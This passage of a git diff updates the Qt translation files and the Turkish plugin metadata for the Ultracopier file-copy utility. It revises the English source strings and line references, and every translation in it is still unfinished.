- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/tr/flag.png b/plugins/Languages/tr/flag.png
index b72f1d7..e26b94b 100644
--- a/plugins/Languages/tr/flag.png
+++ b/plugins/Languages/tr/flag.png
Binary files differ
diff --git a/plugins/Languages/tr/informations.xml b/plugins/Languages/tr/informations.xml
index 9839811..c264d3c 100644
--- a/plugins/Languages/tr/informations.xml
+++ b/plugins/Languages/tr/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to turkish. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to turkish. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>tr</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/tr/translation.ts b/plugins/Languages/tr/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/tr/translation.ts
+++ b/plugins/Languages/tr/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
